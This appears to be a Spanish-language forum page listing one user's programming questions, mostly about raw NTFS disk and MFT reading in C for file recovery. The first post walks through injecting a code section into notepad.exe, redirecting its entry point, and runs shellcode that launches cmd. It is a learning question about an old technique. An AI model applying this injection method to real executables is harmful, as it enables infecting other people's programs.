Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Belial & Grimoire

#1
Hola

Estaba tratando de recrear el runPE que The Swash hizo una vez, quería ver si todavia funcionaba en Windows 10 y al parecer si, agregue una sección y notepad sigue funcionando. Pero me quedé con la idea de como se ejecutaba código, así que buscando en el foro, retomaron varios talleres y hay uno de Ferchu donde explica una manera de ejecutar código mediante opcodes, pero hay algo que no entendí, yo sé que la mejor manera es con programación pero siempre se me ha hecho más interesante saber como funcionan las cosas manualmente.

Bueno, les explico.

el menciona que agrega un registro y modifica algunas cosas

CitarEl metodo para agregar la sección es igual que en el capitulo anterior, pero con la diferencia que ahora en vez de desvincular la "Bound Import Table", lo que vamos a hacer es un truquito que consiste en bajar la cabecera PE 0x28 bytes, para tener lugar para definir nuestra sección sin pisar la tabla. Al bajar la cabecera pisamos datos que no son importantes. Luego solo modificamos en offset PE, y listo, agregamos la sección sin desvincular la tabla.

Los datos a modificar en la cabecera entonces son:


Nombre   Valor   Tamaño
offset PE:   0xE0 - 0x28 = 0xB8   (4 bytes)
NumberOfSections:    0x0004 (+1)    (2 bytes)
AddressOfEntryPoint:   0x00014031    (4 bytes)
SizeOfImagebase:   0x00014050    (4 bytes)



Como notaran, ahora modificamos el OEP, con el de nuestro codigo (como ya tengo el codigo echo ya se que empiza en esa dire), y debemos anotar el OEP original del programa para hacer un salto luego de que nuestro codigo finalize, para que comienze el programa normalmente.

Lo cual elimina 0x28 bytes de la zona donde no hay nada o solo garbage, despues agrega esos 0x28 bytes para agregar la nueva sección y no modificar el archivo, sino queda inservible, después agrega la nueva sección.

A SizeOfImageBase le agrega los 50 bytes de la sección o eso creo.

En el código de ASM solo le agrega un jmp a donde inicia la ejecución normal, por ejemplo... en el ejemplo de Ferchu, la ejecución es en el offset 0x9D730000 e ImageBase 0x00000001

Entonces yo lo que haría es algo así

Código (asm) [Seleccionar]
    [BITS 32]                 
     
    jmp short cmd                 
     
    init:
       mov edx,7634e695h     
       call edx                           
       mov edx,76312acfh     
       call edx
       mov eax, 0x010739D
       jmp  eax                     
    cmd:
       CALL init
       db 'cmd',00h 


lo que significa que es AddressOfEntryPoint + ImageBase = 0x010739D

Pero aqui viene mi duda, ¿no entiendo donde Ferchu consiguió este dato?, ¿de dondé sacó 0x00014031?

CitarAddressOfEntryPoint:   0x00014031    (4 bytes)

quiero imaginar que abrio con ollydbg su codigo en asm, y 0x00014031 es la dirección de donde inicia

CitarCadena titulo                         "Soy el notepad y estoy infectado!!!\0"
Cadena msg                            "Infectado!!!\0"
call [siguiente instruccion]          E8 00 00 00 00
pop eax                               58
push 0                                6A 00
sub eax, 0x12                         2C 12
push eax                              50
sub eax, 0x24                         2C 24
push eax                              50
push 0                                6A 00
mov eax, 0x77D5050B                   B8 0B 05 D5 77       // B8 + direccion de MessageBoxA
call eax                              FF D0
mov eax, 0x010739D                    B8 9D 73 00 01       // B8 + entry point
jmp eax                               FF E0

¿Alguien sabe si 0x00014031 será la posición  en memoria de "call [siguiente instruccion] E8 00 00 00 00"? o  de donde saco 0x00014031?, a ver si alguien recuerda, y es que no puedo abrir cosas con ollydbg porque no me funciona aunque lo seguiré intentando, y casi no le entiendo a Windbg y con gdb pues no logro saber si funciona y no me gusta wine para cosas de windows.

Ya se que es un metodo muy viejo, y practicamente los AV ya lo detienen y etc... pero me dio por repasar  esto tan antiguo y tratar de hacerlas funcionar en Windows 10, ya es lo unico que me falta para intentar con nasm, espero me puedan ayudar

Saludos
#2
Hola

¿A alguno de ustedes les ha pasado que en windows 8.1 pro les marca que les faltan dll's?

Lo que pasa es que hice un programa en C, compila correctamente y todo, en windows 10 se ejecuta bien, pero cuando intenté usarlo en un windows 8.1 pro, me aparece que necesito las librerías ms-win-crt-*; descargo todas las que me pide y cuando lo ejecuto me dice que no se puede vincular toupper con el programa

intenté intalando las herramientas de VC++ que mencionan en windows update sobre windows 8.1, pero tampoco me arregló el problema

¿alguien sabe como podría hacerlo funcionar?
#3
hola

como puedo visualizar los datos de un sql completos?, estuve haciendo pruebas con un php que hice pero me muestra solo una parte, por ejemplo

nombre, edad, horario entrada, horario salida, trabajo for key 'group_key'

en firefox asi me aparece....

juan penas de azares, 23, horario de en' for key 'group_key'

y quiero vizualizar todo... hay alguna forma de hacerlo?, o de que forma podria hacerlo mediante consola de comandos? o minimo en firefox

juan penas de azares, 23, horario de entrada 2 horas, horario de salida 21 horas, videojuegos for key 'group_key'

uso linux, por cierto, lo intente con wget pero me menciona que el link es demasiado largo, queria tomar el resultado y guardarlo en algun archivo de texto

salu2
#4
existe alguna versión de MAC que pueda funcionar con una laptop AMD series G, de preferencia para VirtualBox ya que trae por defecto Intel?, aunque sea una versión vieja, solo la quiero para método de estudio, no para diseño gráfico o cosas demasiado pesadas
#5
hola

bueno, por fin tendré un tiempo para seguir con un programa que estoy haciendo, quise pedir ayuda a algún maestro pero aunque me entendían, no tienen idea de como hacer algo que pedía... así que me tendré que apoyar nuevamente en la ayuda de este foro para continuar, espero no ser una molestia

bueno, anteriormente me quede con un código donde podía empezar a leer los datos de MFT que es la tabla donde se guarda la información de los archivos que se encuentran en una unidad

pero están codificados y necesito decodificarlos a UTF-8 o UTF-16, hace tiempo me hicieron entender que convertir código de VB a C no es muy recomendable (y es cierto), y la mayoría de ejemplos que encuentro son para VB.net o C#, y utilizan mucho una función llamada Encoding utf8 que ya lo hace automáticamente

y la mayoría de información que encontré fue en Wikipedia, la otra fue de ejemplos como mencione anteriormente, pero no se si no estoy buscando bien o casi no hay información

me podrían ayudar diciéndome de que manera debería buscar en google sobre conversion de hexadecimales a UTF? porque no creo que haya tan poca documentación sobre eso en C o alguien conoce ejemplos o si alguien sabe como hacerlo, me podrían explicar como es la conversión de hexadecimales a UTF-8 o 16

porque aquí esta la tabla con la información del primer archivo, en este caso, seria el nombre, fecha de creación, etc, etc...

$FileName

0x30 0x00 0x00 0x00 0x68 0x00 0x00 0x00
0x00 0x00 0x18 0x00 0x00 0x00 0x03 0x00 0x4A 0x00 0x00 0x00 0x18 0x00 0x01 0x00
0x05 0x00 0x00 0x00 0x00 0x00 0x05 0x00 0xC7 0xE6 0xC2 0x91 0x93 0x7B 0xCE 0x01
0xC7 0xE6 0xC2 0x91 0x93 0x7B 0xCE 0x01 0xC7 0xE6 0xC2 0x91 0x93 0x7B 0xCE 0x01
0xC7 0xE6 0xC2 0x91 0x93 0x7B 0xCE 0x01 0x00 0x40 0x00 0x00 0x00 0x00 0x00 0x00
0x00 0x40 0x00 0x00 0x00 0x00 0x00 0x00 0x06 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x04 0x03 0x24 0x00 0x4D 0x00 0x46 0x00 0x54 0x00 0x00 0x00 0x00 0x00 0x00 0x00


según wikipedia hay que modificar algunos bits pero no comprendí muy bien

encontré un programa forense para decodificar la fecha, pero no tiene código libre así que no logre saber como lo hace pero puedo asegurar que aquí esta la información necesaria

espero alguien sepa sobre esto y me pueda pasar algo de información

salu2
#6
hola

tengo un problema con Readfile


d1 = (DWORD*)&crbig;
overlapped.Offset = d1[1];
overlapped.OffsetHigh = d1[0];

ret = ReadFile(hDevice, buff, 1024, &numerobyte, &overlapped);


tengo a crbig que es igual a 322122547

los coloco en overlapped low y high

offsethigh = 00000003
offset = 22122547;

supuestamente ReadFile deberia leer los datos de la unidad hDevice, en este caso 1024 bytes y deberia empezar a leer desde donde le digo a overlapped que lo haga

al inicio lo hago de esta manera ya que quiero leer el inicio de la unidad


ZeroMemory(&overlapped ,sizeof(OVERLAPPED));

hDevice = CreateFileW(zwpath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING,  FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, NULL);

if(hDevice != INVALID_HANDLE_VALUE){

ret = ReadFile(hDevice, buff, 1024, &numerobyte, &overlapped);

}

si coloco un for de esta manera para saber que aparecio, me salen los bytes sin probemas en un printf

for (int n=0; n<sizeof(buff); n++) 
    { 
        printf("0x%02X ", buff[n]); 
    }


pero despues es cuando modifico overlapped y uso por segunda vez ReadFile


d1 = (DWORD*)&crbig;
overlapped.Offset = d1[1];
overlapped.OffsetHigh = d1[0];

ret = ReadFile(hDevice, buff, 1024, &numerobyte, &overlapped);


pero me siguen apareciendo los mismo bytes en el for(), ya intente antes de usar por segunda vez ReadFile, borrar el buffer usando memset e incluso usando un buffer diferente, pero me sigue mostrando lo mismo

y supuestamente como les mencione, deberia avanzar hacia donde overlapped dice, deberia leer los 1024 bytes de esa zona, y lo que deberia pasar es que el for me deberia mostrar otros bytes, pero no parece funcionar

alguien sabe o tiene alguna idea de porque no funciona?

salu2
#7
hola

Estoy tratado de pasar un codigo de VB.NET a C, pero hay unas cosas que no logro enteder, entre ellas una funcion llamada Bitconverter, me podrian ayudar analizando los codigos y decirme si lo estoy haciendo bien?

segun MSDN Bitconverter.ToInt sirve para avanzar a cierto offset y tomar bytes, por ejemplo

bitconverter.ToInt32(buffer, 11)

aqui supuestamente avanzaria al offset 0xB, toma 4 bytes desde el offset 0xB, los cambia a big-endian y lo devuelve en un array de bytes

tampoco se si estoy haciendo bien lo de BitConverter.GetBytes

Esto es lo que hay en la multiplicacion

MFTCluster * SectperCluster * BytesPerSect = 322122547

Código (vbnet) [Seleccionar]
SetReadFileOffset(NO, MFTCluster * SectperCluster * BytesPerSect)

Private Sub SetReadFileOffset(ByRef NO As System.Threading.NativeOverlapped, ByRef curBig As Int64)
       Dim lowoffset() As Byte = BitConverter.GetBytes(curBig)
       Dim highoffset As Int32 = BitConverter.ToInt32(lowoffset, 0)
       Dim high As Int32
       Dim lastbytes(3) As Byte
       Array.Copy(lowoffset, 4, lastbytes, 0, 4)
       high = BitConverter.ToInt32(lastbytes, 0)
       NO.OffsetLow = highoffset
       NO.OffsetHigh = high
   End Sub


Y este es el codigo que yo hice, endianhextodec lo hice para simular lo que haria Bitconverter.ToInt32


long endianhextodec(BYTE *buffers, int offs){

   BYTE tmp[1] = {0};

      if(offs == 0){

       tmp[0] = buffers[0];
       tmp[1] = buffers[1];
       tmp[2] = buffers[2];
       tmp[3] = buffers[3];

       return tmp[3] << 24;
   }
}


setreadfileoffset(overlapped, (sectperclusters * (bytespercluster * MFTCluster)));


void setreadfileoffset(OVERLAPPED overlap, INT64 crbig ){

BYTE *lowoffset = (BYTE*)malloc(sizeof(crbig));
INT32 higoffset = endianhextodec(lowoffset, 0);
INT32 high;
BYTE lastbytes[3];

for(int i = 0; i < 4; i++){
for(int n = 4; n > 0; n--){

lastbytes[i] = lowoffset[n];
}
}

high = endianhextodec(lastbytes, 0);
overlap.Offset = higoffset;
overlap.OffsetHigh = high;
}


espero puedan decirme si lo encuentran bien o estoy totalmente equivocado

salu2
#8
hola

alguien sabe como podria o si es posible concatenar bytes de un mismo array, por ejemplo

BYTE *buffer[2] = {0x00, 0x02}

me gustaria poder concatenarla pero al reves para que quede asi... 0x200, porque necesito cambiar ese valor a decimal, que serian 512 y guardarlo en algun integer

lo intente con strcpy, strcat y memcpy pero no me funcionan porque el buffer es BYTE y aun haciendo cast (char) me tira error

alguien sabe alguna forma de lograr juntar los hexadecimales del array?, porque tambien necesito hacerlo con arrays mas grandes por ejemplo

buff = {0x00, 0x00, 0x02, 0x00, 0x00, 0x00}

y necesito que quede asi 0x20000 para poder convertirlo en decimal

aguna idea o ejemplo que me puedan dar porfavor.
#9
hola

pues ya logre avanzar con un programa que estoy intentando hacer, despues de re-leer, hice un pequeño avance, pero tengo un problema a ver que opinan

segun MSDN hay dos maneras de analizar la unidad C, ya sea

"\\.\C:", "\\.\C:\" o "\\\\.\\PhysicalDrive0"

En visual basic algunos programadores hacen esto

"\\.\" & Mid(Drive, 1, 2)

donde Drive es "C:\"

supuestamente deberia quedar asi... "\\.\C:"... pero al colocarlo de esa forma en el programa ya no funciona, de igual forma en C tampoco funciona

en C la unica forma que me funciona es usando "\\\\.\\PhysicalDrive0", pero tengo la duda de si funcionara o no, supuestamente si me esta funcionando, porque recibo datos, pero no se si haya alguna diferencia o porque razon en VB solo funcione si utilizan Mid, por que si hay alguna, entonces el programa falla desde el principio pero no me he dado cuenta, y me gustaria saber que opinan o si podrian compilar mi codigo y decirme si a ustedes le funciona "\\.\C:" o si es normal y solo les funciono PhysicalDrive0, mas abajo colocare mi codigo

ahora tengo otro problema, necesito la informacion de los clusters, hay estructuras que puedo usar para saber esto pero no hay para algunas cosas que necesito, pero segun un codigo de VB que analice, se pueden conseguir 3 datos que necesito analizando los datos recibidos con ReadFile

Aqui dejo una tabla de los datos que mencionare


Offset    Size    Description
0x0000    3    Jump to the boot loader routine
0x0003    8    System Id: "NTFS    "
0x000B    2    Bytes per sector
0x000D    1    Sectors per cluster
0x000E    7    Unused
0x0015    1    Media descriptor (a)
0x0016    2    Unused
0x0018    2    Sectors per track
0x001A    2    Number of heads
0x001C    8    Unused
0x0024    4    Usually 80 00 80 00 (b)
0x0028    8    Number of sectors in the volume
0x0030    8    LCN of VCN 0 of the $MFT
0x0038    8    LCN of VCN 0 of the $MFTMirr
0x0040    4    Clusters per MFT Record (c)
0x0044    4    Clusters per Index Record (c)
0x0048    8    Volume serial number


los valores que necesito son el offset 0x0B 0x0D y 0x30

el codigo de VB usa una funcion llamaba bitconverter, que busca un offset y los valores los cambia a decimal

el offset Bytepersector lo puedo sacar con una estructura, tambien tengo entendido que en NTFS un cluster tiene 512 bytes, y eso son 8 sectores, y me faltaria encontrar LCN of VCN 0 of the $MFT

Supuestamente al leer los datos de la unidad, se puede saber eso unicamente llendo al offset y tomando los valores dependiendo del tamaño, y en la tabla esta el tamaño de cada offset

Pero mi problema es que no logro encontrar el offset para tomar el valor hexadecimal y convertirlo en decimal, aqui es donde tambien incluyo el problema anterior, no se si no los encuentro porque CreateFile no abre la unidad C: o es porque no estoy interpretando bien los datos

El resultado los compare con un codigo fuente de https://code.google.com/p/datarecover/ y obtengo el mismo resultado al ejecutar el programa, los dos me dan los mismo hexadecimales, aunque yo lo programe diferente

En VB me arroja este resultado Bitconverter donde busca los offset y convierte en decimal los bytes

512
8
786432

Pero leyendo los datos que me arroja buffer, no logro encontrar esa informacion

Me gustaria saber si alguien aqui podria ayudarme a encontrar la manera de saber donde se encuentran esos offset y como debo buscarlos para despues cambiar de hexadecimal a decimal

espero me puedan ayudar

salu2



#include <Windows.h>
#include <winioctl.h>
#include <stdio.h>
#include <stdlib.h>

#define zwpath L"\\\\.\\PhysicalDrive0"

int main(int argc, char *argv[]){

HANDLE hDevice;
OVERLAPPED overlapped;
BYTE buff[1024] = {0};
DWORD numerobyte = 0;
UINT32 ret;
ZeroMemory(&overlapped, sizeof(OVERLAPPED));

hDevice = CreateFileW(zwpath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING,  FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, NULL);

if(hDevice != INVALID_HANDLE_VALUE){

ret = ReadFile(hDevice, buff, 1024, &numerobyte, &overlapped);


}else
{
return NULL;
}

if(ret == 0){


ret = WaitForSingleObject(hDevice,INFINITE );

switch (ret)
{
case WAIT_OBJECT_0:break;
case WAIT_TIMEOUT:break;
default:
break;
}
}
else
{
return NULL;
}

CloseHandle(hDevice);


for (int n=0; n<sizeof(buff); ++n)  
   {  
       printf("0x%02X ", buff[n]);  
   }

getchar();
}
#10
hola

tengo un array byte donde guardo informacion guardada por ReadFile, por ejemplo

BYTE buffer[1024]

ReadFile(HFile, buffer, sizeof(buffer), 0);

en VB.net hay una funcion que te convierte bytes en enteros se llama Bitconverter.ToInt16, lo que supuestamente hace es buscar un offset y lo que haya en ese offset lo convierte en decimal

por ejemplo

offset = &HD

BitConverter.ToInt16(buffer, offset)

alli, hasta donde yo se, es que busca en el array BYTE buffer el offset o hexadecimal que en este caso seria 0x0D, y el contenido alli lo cambia a decimal

por ejemplo

primero busca en el array 0x0D, cuando lo encuentra hay un valor que es 0x08 y lo convierte a decimal que igual seria 8, pero puede cambiar el valor, podria ser 0xAF, 0x13, etc...

Entonces quisiera saber como podria leer el array BYTE para encontrar el offset y hacer la conversion de hexadecimal a decimal de lo que haya en cierto offset pero en codigo C

porque Bitconverter convierte dependiendo la base, por ejemplo Int16 convierte los dos primeros bytes, int32 convierte los 4 primeros bytes y int64 convierte los 8 primeros bytes

entonces si por ejemplo en el offset 0x0B hay un valor 0x0102, como encontraria el offset 0x0B para cambiar el valor 0x0102 de hexadecimal a decimal?

me podrian poner algun ejemplo porfavor
#11
hola

Estoy tratando de crear un codigo para recuperar archivos borrados, vengo leyendo varios documentos y viendo varios codigos, poco a poco estoy comprendiendo como funciona, hasta ahora he logrado comprender en donde se encuentra la informacion de los archivos, sobre NTFS, MFT y clusters, y mas o menos como encontrar los archivos borrados, sobre sus atributos y despues de eso me faltaria saber como restaurar los archivos

he practicado y mas abajo pondre un codigo que hice analizando codigos que hay en la red, desafortunadamente para mi, la mayoria en funcionamiento los encuentro para VB, hay otros pero son muy elaborados usando incluso clases, pero a la mayoria he visto lo mismo

Ahora... mi problema es el siguiente, ¿de que forma puedo leer los datos de MFT?, ya tengo una forma de acceso pero no logro entender como hacen ese escaneo por los datos del archivo MFT para analizar los archivos que se encuentran en mi computadora, asi como los borrados

espero alguien me pueda ayudar diciendo que API, estructura o que operacion tendria que usar ahora para empezar el analisis en MFT, porfavor, porque ya no se por donde seguir o que mas se deba hacer

dejo el codigo que mencione, pero despues de aprender esto, que mas sigue?, perdon si estan mal escrito los printf pero los escribi asi de mal porque solo fue para entender de que sirve la estructura

por cierto, he visto que algunos utilizan DISK_GEOMETRY pero yo no lo vi necesario

tambien hay unas API que vi que utilizan por ejemplo FSCTL_ENUM_USN_DATA, FSCTL_QUERY_USN_JOURNAL

Esto es lo que he logrado entender y es parecido a una parte de VB.net

#include <Windows.h>
#include <winioctl.h>
#include <stdio.h>

#define FSCTL_GET_NTFS_VOLUME_DATA CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 25, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define zwpath L"\\\\.\\PhysicalDrive0"

int main(int argc, char *argv[]){

    HANDLE hDevice = INVALID_HANDLE_VALUE;
    BOOL bresul = FALSE;
    DWORD junk = 0;

    hDevice = CreateFileW(zwpath, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);

    if(hDevice == INVALID_HANDLE_VALUE){

        printf("error device\n");
    }

    NTFS_VOLUME_DATA_BUFFER ntfsData;

    bresul = DeviceIoControl(hDevice,FSCTL_GET_NTFS_VOLUME_DATA, NULL, 0, &ntfsData, sizeof(NTFS_VOLUME_DATA_BUFFER), &junk, (LPOVERLAPPED)NULL );

    printf("Numero de serie = %ld\n", ntfsData.VolumeSerialNumber);
    printf("Numero de sectores = %ld\n", ntfsData.NumberSectors);
    printf("Total clusters = %ld\n", ntfsData.TotalClusters);
    printf("Clusters libres = %ld\n", ntfsData.FreeClusters);
    printf("Total reservados = %ld\n", ntfsData.TotalReserved);
    printf("Bytes por sector = %ld\n", ntfsData.BytesPerSector);
    printf("Bytes por cluster = %ld\n", ntfsData.BytesPerCluster);
    printf("Bytes por segmeto de archivo = %ld\n", ntfsData.BytesPerFileRecordSegment);
    printf("Cluster por segmento de archivo = %ld\n", ntfsData.ClustersPerFileRecordSegment);
    printf("Longitud de datos validos MFT = %ld\n", ntfsData.MftValidDataLength);
    printf("Inicio de LCN = %ld\n", ntfsData.MftStartLcn);
    printf("Inicio mirror de LCN = %ld\n", ntfsData.Mft2StartLcn);
    printf("Zona de Inicio MFT= %ld\n", ntfsData.MftZoneStart);
    printf("Zona final MFT = %ld\n", ntfsData.MftZoneEnd);

    getchar();
}



O si alguien tiene conocimientos en VB.NET que me pueda ayudar a traducir el codigo a C tambien me ayudaria bastante

Código (vbnet) [Seleccionar]
  Public Sub FindHDFiles(ByVal Drive As String)
        Drive = Drive.TrimEnd("\")
        Try
            Dim dinfo = My.Computer.FileSystem.GetDriveInfo(Drive & "\")
            If Not dinfo.IsReady Then
                MsgBox("Drive not ready.", MsgBoxStyle.Critical, "ERROR")
                Exit Sub
            End If
            If dinfo.DriveFormat <> "NTFS" Then
                MsgBox("This feature only works on NTFS volumes.", MsgBoxStyle.Critical, "ERROR")
                Exit Sub
            End If
            ARKDDA = New DirectDriveIO(Drive & "\")
        Catch
            MsgBox("Could not access drive.", MsgBoxStyle.Critical, "ERROR")
            Exit Sub
        End Try
        Drive = Drive.TrimEnd("\")
        Dim diskhandle = CreateFile("\\?\" & Drive, EFileAccess.GENERIC_READ + EFileAccess.GENERIC_WRITE, EFileShare.FILE_SHARE_READ + EFileShare.FILE_SHARE_WRITE, Nothing, ECreationDisposition.OPEN_EXISTING, 0, Nothing)
        If diskhandle = 0 Then
            diskhandle = CreateFile("\\.\" & Drive, EFileAccess.GENERIC_READ + EFileAccess.GENERIC_WRITE, EFileShare.FILE_SHARE_READ + EFileShare.FILE_SHARE_WRITE, Nothing, ECreationDisposition.OPEN_EXISTING, 0, Nothing)
            If diskhandle = 0 Then
                MsgBox("Could not access drive.", MsgBoxStyle.Critical, "ERROR")
                Exit Sub
            End If
        End If
        Dim FSCTL_GET_NFTS_VOLUME_DATA = CTL_CODE(FILE_DEVICE.FILE_DEVICE_FILE_SYSTEM, 25, METHOD_BUFFERED, FILE_ANY_ACCESS)
        Dim buffer As NTFS_VOLUME_DATA_BUFFER
        DeviceIoControlNTFS(diskhandle, FSCTL_GET_NFTS_VOLUME_DATA, 0, 0, buffer, SizeOf(buffer), 0, 0)
        CloseHandle(diskhandle)
        Dim MFTAddress As Long = buffer.MftStartLcn * CLng(buffer.BytesPerCluster / buffer.BytesPerSector)
        Dim MFTEntrySize As Integer = buffer.BytesPerFileRecordSegment / buffer.BytesPerSector
        Dim NumberOfEntries As Long = buffer.MftValidDataLength / MFTEntrySize
        Dim Bytes(buffer.BytesPerCluster) As Byte
        Dim CurrEntryBytes(MFTEntrySize * buffer.BytesPerSector) As Byte
        Dim CurrEntry As New STANDARD_MFT_ENTRY
        Dim Type As Byte
        Dim Name As String
        Dim BaseAddr As Long
        Dim Parent As Integer
        Dim DoEventsCounter As Integer = 0
        ListView1.Items.Clear()
        ListView2.Items.Clear()
        ProgressBar1.Value = 0
        ProgressBar1.Maximum = buffer.MftValidDataLength / buffer.BytesPerFileRecordSegment
        ToolStripStatusLabel1.Text = "Finding files in " & Drive & "\..."
        Button1.Enabled = False
        Button2.Enabled = False
        ComboBox1.Enabled = False
        Button3.Enabled = False
        CheckBox2.Enabled = False
        LastDrive = Drive
        If CheckBox2.Checked Then Bitmap = ReadBitmap(Drive)
        Dim BitmapBase As Long = MFTAddress + (MFTEntrySize * 0)
        Bytes = ARKDDA.ReadSectors(BitmapBase, MFTEntrySize)
        BaseAddr = MergeToInt(Bytes, &H14, &H15) 'The offset the the first attribute
        While Bytes(baseaddr) <> &H80
            baseaddr = baseaddr + MergeToInt(Bytes, baseaddr + &H4, baseaddr + &H7) 'Add the length of the attribute to the base address to find the next attribute
        End While
        baseaddr = baseaddr + &H40
        Dim Length As ULong = 0
        Dim LenLen As Byte = 0
        Dim Offset As ULong = 0
        Dim OffLen As Byte = 0
        Dim Path As String = ""
        Dim BaseAddr2 As ULong = 0
        Dim FileSize As ULong = 0
        Dim LoopCount As Integer = 0
        Dim PartNum As Integer = 0
        While Bytes(baseaddr) > 0
            LenLen = Bytes(BaseAddr) And &HF
            OffLen = (Bytes(BaseAddr) And &HF0) / &H10
            Length = MergeToInt(Bytes, BaseAddr + 1, BaseAddr + LenLen)
            Offset = Offset + MergeToInt(Bytes, BaseAddr + 1 + LenLen, BaseAddr + LenLen + OffLen)
            For Record = 0 To ((Length * buffer.BytesPerCluster) / buffer.BytesPerFileRecordSegment) - 1
                DoEventsCounter = DoEventsCounter + 1
                If DoEventsCounter >= 100 Then
                    Application.DoEvents()
                    DoEventsCounter = 0
                End If
                Try
                    If (PartNum + 1) >= (CurrEntryBytes.Count / buffer.BytesPerFileRecordSegment) Then
                        CurrEntryBytes = ARKDDA.ReadSectors((Record * MFTEntrySize) + (Offset * (buffer.BytesPerCluster / buffer.BytesPerSector)), MFTEntrySize * 1024)
                        BaseAddr2 = 0
                        PartNum = 0
                    Else
                        'CurrEntryBytes = ByteArrayPart(CurrEntryBytes, buffer.BytesPerFileRecordSegment, UBound(CurrEntryBytes))
                        'BaseAddr2 = (((BaseAddr2 \ buffer.BytesPerFileRecordSegment) + 1) * buffer.BytesPerFileRecordSegment)
                        PartNum = PartNum + 1
                        BaseAddr2 = PartNum * buffer.BytesPerFileRecordSegment
                    End If
                    If CurrEntryBytes(BaseAddr2) <> Asc("F") Then
                        'If CurrEntryBytes(0) <> Asc("F") Then
                        GoTo dn
                    End If
                    Name = ""
                    Parent = 5
                    Path = ""
                    FileSize = 0
                    'Type = CurrEntryBytes(&H16)
                    Type = CurrEntryBytes(&H16 + BaseAddr2)
                    'If Type = MFT_ENTRY_FILE_TYPE_FLAGS.DeletedDirectory Or Type = MFT_ENTRY_FILE_TYPE_FLAGS.DeletedFile Then
                    If Type = MFT_ENTRY_FILE_TYPE_FLAGS.DeletedFile Then
                        'BaseAddr2 = BaseAddr2 + MergeToInt(CurrEntryBytes, &H14, &H15) 'The offset the the first attribute
                        BaseAddr2 = BaseAddr2 + MergeToInt(CurrEntryBytes, BaseAddr2 + &H14, BaseAddr2 + &H15) 'The offset the the first attribute
                        BaseAddr2 = BaseAddr2 + MergeToInt(CurrEntryBytes, BaseAddr2 + &H4, BaseAddr2 + &H7) 'Add the length of the attribute to the base address to find the next attribute
                        Try
                            Parent = MergeToInt(CurrEntryBytes, BaseAddr2 + &H18, BaseAddr2 + &H1D)
                        Catch
                        End Try
                        Try
                            If FileSize = 0 Then FileSize = MergeToInt(CurrEntryBytes, BaseAddr2 + &H48, BaseAddr2 + &H4F)
                            If FileSize > 2 ^ 30 Then FileSize = 0
                            'If FileSize = 0 Then FileSize = MergeToInt(CurrEntryBytes, BaseAddr2 + &H40, BaseAddr2 + &H47)
                        Catch
                        End Try
                        Try
                            Name = System.Text.UnicodeEncoding.Unicode.GetString(ByteArrayPart(CurrEntryBytes, BaseAddr2 + &H5A, (BaseAddr2 + &H5A) + ((2 * CurrEntryBytes(BaseAddr2 + &H58)) - 2)))
                        Catch
                        End Try
                        Try
                            If Name.Contains("~") Then
                                BaseAddr2 = BaseAddr2 + MergeToInt(CurrEntryBytes, BaseAddr2 + &H4, BaseAddr2 + &H7) 'Add the length of the attribute to the base address to find the next attribute
                                If FileSize = 0 Then FileSize = MergeToInt(CurrEntryBytes, BaseAddr2 + &H48, BaseAddr2 + &H4F)
                                If FileSize > 2 ^ 30 Then FileSize = 0
                                'If FileSize = 0 Then FileSize = MergeToInt(CurrEntryBytes, BaseAddr2 + &H40, BaseAddr2 + &H47)
                                Name = System.Text.UnicodeEncoding.Unicode.GetString(ByteArrayPart(CurrEntryBytes, BaseAddr2 + &H5A, (BaseAddr2 + &H5A) + ((2 * CurrEntryBytes(BaseAddr2 + &H58)) - 2)))
                            End If
                        Catch
                        End Try
                        If Name.Length >= 75 Then Name = Mid(Name, 1, 74) & Mid(Name, 76, Name.Length - 75)
                        If CheckBox1.Checked Then
                            Try
                                Path = GetFullPath2(Parent, MFTAddress, MFTEntrySize, buffer.BytesPerCluster) & "\" & Name
                            Catch
                            End Try
                        End If
                        If FileSize = 0 Then
                            Try
                                LoopCount = 0
                                While CurrEntryBytes(BaseAddr2) <> &H80 And LoopCount < 5
                                    LoopCount = LoopCount + 1
                                    BaseAddr2 = BaseAddr2 + MergeToInt(CurrEntryBytes, BaseAddr2 + &H4, BaseAddr2 + &H7) 'Add the length of the attribute to the base address to find the next attribute
                                End While
                                'FileSize = MergeToInt(CurrEntryBytes, BaseAddr2 + &H28, BaseAddr2 + &H2F)
                                'If FileSize > 2 ^ 30 Then FileSize = MergeToInt(CurrEntryBytes, BaseAddr2 + &H38, BaseAddr2 + &H3F)
                                If MergeToInt(CurrEntryBytes, BaseAddr2 + &HE, BaseAddr2 + &HF) = 1 Then
                                    'It is recycled (filename at offset 0x30,file size at offset 0x10)
                                    FileSize = MergeToInt(CurrEntryBytes, BaseAddr2 + &H10, BaseAddr2 + &H13)
                                    'Path = ""
                                    'BaseAddr2 = BaseAddr2 + &H30
                                    'While CurrEntryBytes(BaseAddr2) > 0
                                    'Path = Path + ChrW(MergeToInt(CurrEntryBytes, BaseAddr2, BaseAddr2 + 1))
                                    'Path = Path + ChrW(CurrEntryBytes(BaseAddr2))
                                    'BaseAddr2 = BaseAddr2 + 2
                                    'End While
                                Else
                                    'FileSize = 0
                                    FileSize = MergeToInt(CurrEntryBytes, BaseAddr2 + &H30, BaseAddr2 + &H37)
                                End If
                                If FileSize > 2 ^ 30 Then FileSize = 0
                            Catch
                            End Try
                        End If
                        If FileSize > 0 Then
                            With ListView1.Items.Add(Name)
                                If Not Path.Contains("SKIPTHISFILE") Then
                                    .SubItems.Add(Path)
                                Else
                                    .SubItems.Add("")
                                End If
                                .SubItems.Add(FileSize)
                                .SubItems.Add((Record * MFTEntrySize) + (Offset * (buffer.BytesPerCluster / buffer.BytesPerSector)))
                                If CheckBox2.Checked Then
                                    Try
                                        .SubItems.Add(GetFileIntegrity((Record * MFTEntrySize) + (Offset * (buffer.BytesPerCluster / buffer.BytesPerSector)), buffer.BytesPerSector, buffer.BytesPerFileRecordSegment))
                                    Catch
                                        .SubItems.Add("Unknown")
                                    End Try
                                Else
